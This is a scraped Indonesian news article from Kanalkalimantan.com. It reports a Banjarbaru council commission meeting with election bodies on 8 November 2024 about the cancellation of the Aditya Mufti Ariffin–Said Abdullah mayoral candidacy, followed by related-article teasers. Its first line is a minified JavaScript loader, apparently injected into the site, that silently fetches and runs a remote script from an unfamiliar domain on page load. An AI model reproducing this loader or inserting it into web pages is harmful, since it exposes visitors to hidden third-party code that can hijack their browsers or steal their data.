(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi I DPRD Kota Banjarbaru menggelar rapat bersama Komisi Pemilihan Umum (KPU) dan Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru.
Rapat bersama penyelenggara pemilu dipimpin Ketua Komisi I Ririk Sumari bersama anggota komisi bidang pemerintahan di ruang rapat DPRD Banjarbaru, Jumat (8/11/2024).
Rapat juga terkait Keputusan KPU Banjarbaru Surat KPU Nomor 124 tahun 2024 tentang pembatalan Calon Wali Kota dan Wakil Wali Kota nomor urut 2 Aditya Mufti Ariffin dan Said Abdullah.
Baca juga: KPU Banjarbaru Memulai Sortir Lipat Surat Suara Pilgub Kalsel, Ini Upahnya
Pemilihan Kepala Daerah (Pilkada) Kota Banjarbaru sebelumnya diikuti dua pasangan calon yakni pasangan Erna Lisa Halaby-Wartono bersama pasangan petahana Aditya Mufti Ariffin-Said Abdullah.
Namun dalam prosesnya, pasangan Aditya-Said Abdullah dibatalkan KPU Banjarbaru karena melanggar pasal 71 Ayat (3) Jo Ayat (5) UU Pilkada sehingga gagal dalam kontestasi pilkada pada 27 November 2024. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Pertunjukan teater kontemporer dari Sanggar Seni "Tanaharum" Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM - Sebagai salah satu saluran infotainment terdepan di Indonesia, Aku Suka RCTI selalu hadir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Demokrasi Milenial (FDM) Kota Banjarmasin secara resmi mendapatkan sertifikat akreditasi sebagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tiga pasangan calon (Paslon) Wali Kota dan Wakil Wali Kota Banjarmasin menyampaikan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memimpin apel kesiapsiagaan… Read More
KANALKALIMANTAN. COM, BATAM - Pesona motif dan gradasi warna kain Sasirangan Bordir menjadi daya tarik… Read More
This website uses cookies.